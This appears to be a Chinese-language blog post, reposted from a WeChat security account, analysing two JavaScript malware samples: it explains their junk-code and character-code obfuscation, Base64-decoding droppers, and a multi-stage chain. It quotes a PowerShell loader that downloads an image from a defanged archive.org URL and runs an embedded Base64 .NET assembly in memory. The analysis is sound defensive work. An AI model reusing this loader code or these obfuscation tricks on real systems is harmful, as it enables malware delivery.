经过长时间的休息后,我回来发表一篇文章,我们将研究用恶意软件分析师深爱的语言JavaScript 编写的恶意软件以及所涉及的逆向工程技术。
JavaScript 是一种运行在 Web 浏览器中的高级编程语言,可用于创建动态交互式内容。尤其得益于其在服务器端运行的能力,它为网页带来了交互性;表单、动画和用户交互等许多功能都通过 JavaScript 处理。在现代应用程序中,JavaScript 已不仅限于浏览器——得益于Node.js等开发环境,它也可用于客户端。
然而, JavaScript的广泛使用也使其成为攻击者的诱人目标。它经常被滥用于基于浏览器的攻击(例如 XSS - 跨站脚本攻击)或恶意广告(恶意广告)。此外,JavaScript 文件的可解释性和动态特性使其更容易隐藏恶意代码。因此,在分析基于 JavaScript 的恶意软件时,了解该语言的基本结构和逻辑至关重要。
近年来,根据我在该领域的观察,用 JavaScript 编写的恶意软件非常注重混淆——代码块通常经过 3-4 层混淆,最终通常使用 PowerShell 或其他内置结构在设备上执行恶意软件。与过去几年攻击者使用反调试等技术相比,这些方法现在大多已被废弃。因此,如果您计划分析现代 JavaScript 恶意软件样本,最好做好准备应对 4-5 阶段的技术。
在本文中,我们将分析我在各个论坛网站上找到的两个恶意软件样本,我认为它们包含一些适合本文的技术。我并不声称自己是 JavaScript 专家;由于 JavaScript 并非我职业生涯中经常接触的语言,因此我通常会尝试根据在不同论坛上找到的技术来构建分析步骤。欢迎在这方面有经验的读者与我分享宝贵的见解和技巧
样品 1(DarkTortilla)
我将在下面留下该恶意软件的哈希值和您可以下载的源链接。
MD5:d59e511ddc60cb9d264b524bec71cd89SHA256:79b406f24b40b7fdf1b4ff5b629e9fd3a2033ff84f3792798627dee349324b24
由于 JavaScript 是一种使用解释器的语言,我们可以使用文本编辑器工具直接读取源代码。当我们使用 VSCode 工具检查相关恶意软件时,我们发现了大量的注释部分和垃圾代码,这些都是攻击者常用来增加分析难度的技术。这类方法会增加文件大小,降低工具的运行速度,使代码导航更加困难,并降低自动化工具的速度。
看到较大的编码数据块后,我们开始浏览代码以找到代码执行解码和执行的部分。
在大数据块背后,我们可以看到用随机名称创建的函数和变量。我们感到惊讶吗?当然不会。除了注释部分之外,该恶意软件还使用了一种名为“未使用声明”的技术来增加分析难度。这是降低代码可读性的方法之一——一个变量声明了却从未使用,或者被赋值给了另一个在核心算法中没有实际用途的变量。这类代码模式通常被称为“垃圾代码”。
接下来,我们检测到使用“String.fromCharCode”方法的解码操作。恶意软件不是直接将字符串值赋给变量,而是以混淆的方式逐个字符地构造字符串。这是另一种用于增加分析难度并规避自动化工具的技术。
那么,我们该如何应对这些复杂的情况呢?又该如何揭示代码的真正用途呢?
在尝试了一些 PowerShell 脚本和算法之后,我还是没能想出一个高度优化的解决方案——而且我打算实现的任何东西看起来也不太高效。所以我觉得或许应该稍微借鉴一下当今的技术。于是,我自然而然地转向了人工智能
感谢 ChatGPT 和 Gemini,他们指出有专门针对这类任务设计的库,并且具备一定的处理能力。算法解释由我负责;代码编写则由我们的 AI 伙伴负责。非常感谢
您可以在我的GitHub上找到相关脚本
https://github.com/fatihbeyexe/JavaScript-Basic-Cleaner
该脚本可以删除不必要的注释行、未使用的变量,并使代码更具可读性。
要使用此脚本,请按照以下步骤初始化一个“Node.js”项目并安装必要的软件包。之后,您可以调整代码中的“inputPath”和“outputPath”变量来清理目标 JavaScript 文件及其输出结果。
npm init -ynpm install @babel/core @babel/preset-env @babel/traverse @babel/parsernpm install prettiercscript.exe //nologo cleaner.js
执行我们的脚本后,我们得到了一些更简洁(!)且更易读的代码,但仍然会遇到“String.fromCharCode 方法”。为了处理这些问题,您可以简单地使用 node 命令通过命令行打开 JavaScript 解释器,然后手动执行相关表达式以查看其解码输出。几乎可以肯定也有一个自动化工具可以做到这一点,但我选择在分析过程中不花时间在这上面。
通过将 char 值替换为实际字符,我们提高了函数的可读性。我们遇到的第一个函数使用“ActiveXObject”创建一个“XML”对象,然后在该对象上创建一个具有随机名称的元素。这里的关键点是“dataType”属性,它被设置为“bin.base64”。基本上,这个函数接受输入参数,将其从Base64解码,然后返回结果。
查看我们遇到的第二个函数,我们再次看到它使用 ActiveXObject 创建了一个 Stream 对象。通过该对象,创建一个文件,将数据写入其中,然后保存该文件。不久之后,在两行代码内,该函数被调用,并将来自 decoderBase64 函数的结果写入文件。
而言之,当我们查看整个脚本时,变量“JsFileHandle”和“XLSXFileHandle”保存了将在“Temp”目录下创建的文件的名称。脚本开头存储在两个变量中的值会被解码并写入这些文件中,然后执行这些文件。
为了简单地提取这些创建的文件,我们可以像下面这样更新并运行脚本。你说得对,我们可以自己直接解码 Base64 值并将其写入文件,但如果涉及不同的解码或解密算法,这种方法会更可靠。现在这已经是一种习惯了
cscript.exe//nologo cleaned.js
当我们使用上述命令运行更新后的脚本时,当前目录中会创建两个具有以下哈希值的文件。
示例 1 - 第 2 阶段
audiodg.jsMD5: 5ed1793f3e672ce92b402f93f64cb91eSHA256: b2fd4515eb793b36b3c166483fd7c86266842480f72697bbc01ef5e70f7d1386xls.xlsxMD5: 8819eb3bef38f374d00dee0f6294757fSHA256: b54f5d7ea99a77651b650f8f7807cf4107d2a58540bc726c63e6244551e96df4
让我们看一下“audiodg.js”文件。我们再次遇到了未使用的变量,以及一些看起来像是用Base64编码的数据。当值“TVq”被解码后,它会变成“MZ”,这是可执行文件的魔法字节签名。不过,我们还是来检查一下代码,看看它如何处理这些值。
在这里,我们遇到了一个不同的解码操作——代码没有使用像“String.fromCharCode”这样的内置函数,而是定义了一个自定义函数,在运行时执行解码。通过简单的 CTRL+F 搜索,我们找到了名为“basebase”的函数,并检查它的作用。
在前两行中,我们再次看到创建了未使用的变量。然后,该函数使用“String.fromCharCode”函数,通过从输入值中减去“44”来返回一个字符——这是核心解码逻辑。最后两行根本不会执行,这意味着它们是垃圾代码。我们可以手动替换代码中调用此函数的部分,以使其更具可读性。
再次,我们使用node命令打开解释器并运行“basebase”函数。然后,复制并粘贴代码中使用“basebase”的部分,执行它们,并观察输出以查看解码后的值。
使用与第一阶段相同的技术,我们清理了该脚本,并了解了它试图做什么。该脚本利用 ActiveXObject 执行 Base64 解码操作,并将输出写入文件。然后,它执行该文件。我们发现解码后的文件名为“svchost.exe” ,保存在“TEMP”目录下。
我们对代码进行简单的更新,让“svchost.exe”保存到当前目录而不执行,然后运行它。
最后阶段出现的最终恶意软件的详细信息如下。
示例 1 - 第 3 阶段
启动程序
MD5:117718d605fc83bf300615d0198726ccSHA256:aad37a211a4b5c84d1a07881c707726ed142dbb43cab0397a4717c0251565917
样本 2(表格册)
本节我们将分析的恶意软件的信息和来源如下。
MD5:c40c8fe4b4735114788cad8cf85b1205SHA256:e38aae6be8a0206b1f65ebd508f7211027f5f0416e813ec9ac0caffd052b351d
最近,论坛上分享的大约 80% 的恶意软件样本都遵循这种模式:长变量包含不可读的字符,然后进行“替换”操作来清理或转换这些变量。
当我们跳过变量声明并到达代码底部时,我们可以看到“GET”关键字。由于这很可能表示下载操作,因此我们可以注释掉这些行,并使用“WScript.Echo()”方法直接打印变量的最终值。
这里名为“alitrunk”的变量是“MSXML2.ServerXMLHTTP”类型的ActiveXObject实例。
当我们使用上面提到的技术提取变量时,我们得到以下结果:
grapestone = "open"sacraries = "send"sorrowe = "responseText"cosmetology = "Function"raretiesTratada = "http[:]//paste[.]ee/d[/]XUYsjP90/0"
根据解析后的变量,我们观察到从“raretiesTratada”变量中包含的链接下载了一段数据。 “responseText”中的内容随后被定义为一个函数并执行。没错,这部分有点棘手——JavaScript 允许这种行为。你可以把它想象成PowerShell 中的“-command”或“IEX”功能。
示例 2 - 第 2 阶段
当我们分析从该链接下载的恶意软件时,发现它使用了类似的技术进行混淆。我们无需费力,只需注释掉最后一行的“run”部分,并在脚本中添加命令“WScript.Echo(akala)”。这样运行脚本,我们就能得到PowerShell命令行输出。
示例 2 - 第 3 阶段
在相关的PowerShell脚本中,我们简单地定义了一个Base64值,然后使用“Invoke-Expression”对其进行解码和执行。我们解码这些数据,然后进入下一个阶段。
示例 2 - 阶段 4
这里其实只有一行脚本,但我格式化了代码以避免视觉混乱。让我们一步一步分析这段代码;
$potluck = '0/bA5qrGyK/d/ee.e#sap//:p##h';$SqlDateTime = $potluck -replace '#', 't';
这里很可能正在为第四阶段获取的恶意软件准备参数。反向获取“paste[.]ee”地址。
$proctorship = 'https[:]//archive[.]org/download/new_image_20250516/new_image[.]jpg';$intraclonal = New-Object System.Net.WebClient;$intraclonal.Headers.Add('User-Agent','Mozilla/5.0');$stickers = $intraclonal.DownloadData($proctorship);$organises = [System.Text.Encoding]::UTF8.GetString($stickers);
在此代码块中,为了从“proctorship”变量中存储的地址下载文件,需要创建一个“$intraclonal”变量,并使用命令“New-Object System.Net.WebClient”为其分配一个WebClient类型的对象。在最后两行中,地址中的数据被下载到“$stickers”变量中,然后转换为UTF8格式并存储在“$organises”变量中。
$vacillancy = '<<BASE64_START>>';$knockwursts = '<<BASE64_END>>';$gingall = $organises.IndexOf($vacillancy);$slitless = $organises.IndexOf($knockwursts);$gingall -ge 0 -and $slitless -gt $gingall;$gingall += $vacillancy.Length;$followdays = $slitless - $gingall;$Messina = $organises.Substring($gingall, $followdays);$thrivingness = [System.Convert]::FromBase64String($Messina);$schemata = [System.Reflection.Assembly]::Load($thrivingness);
在上述代码块中,变量“$vacillancy”和“$knockwursts”用于标识下载数据中Base64 blob的起始和结束位置。变量“$gingall”和“$slitless”保存相应的起始和结束索引。然后,使用“-ge”(大于等于)和“-gt”(大于)运算符检查文件是否已正确下载。如果文件未下载,则这些索引值可能为0(或无效),从而导致检查失败。
之后,使用“Substring”方法结合这些索引提取Base64 blob,并将其赋值给“$Messina”变量。最后两行代码解码Base64数据并将其加载为运行时模块。由于PowerShell是基于.NET平台构建的,因此它可以直接在内存中执行用.NET编写的代码。
$tribble = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($SqlDateTime,'1','C[:]UsersPublicDownloads','runnet','MSBuild','','','','','','','js','','','','2',''))
上面这行代码使用指定的参数执行已加载模块中的“VAI”方法。
下图显示了下载的图像文件。虽然它看起来像一张普通的图像,但黑色区域包含嵌入的Base64数据。这种技术涉及操纵图像文件的魔法字节来增加其大小,并将不同的数据写入这些部分。这是恶意软件和隐写术中非常常用的方法。
您可以使用各种十六进制编辑器工具查看图像内相关Base64数据的起点。
以下是最终可执行文件的详细信息:
MD5:73f9e7dc303e53b7bf97c919c9c1b10bSHA256:421c4b4b53d291da2b53c068a491b3913d92fe0eb6f330861e7b60f3d9f8eee7
如果您有任何批评、指正、建议或疑问,请通过我的联系方式联系我。您的反馈对我来说非常宝贵
原文始发于微信公众号(Ots安全):JavaScript 恶意软件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论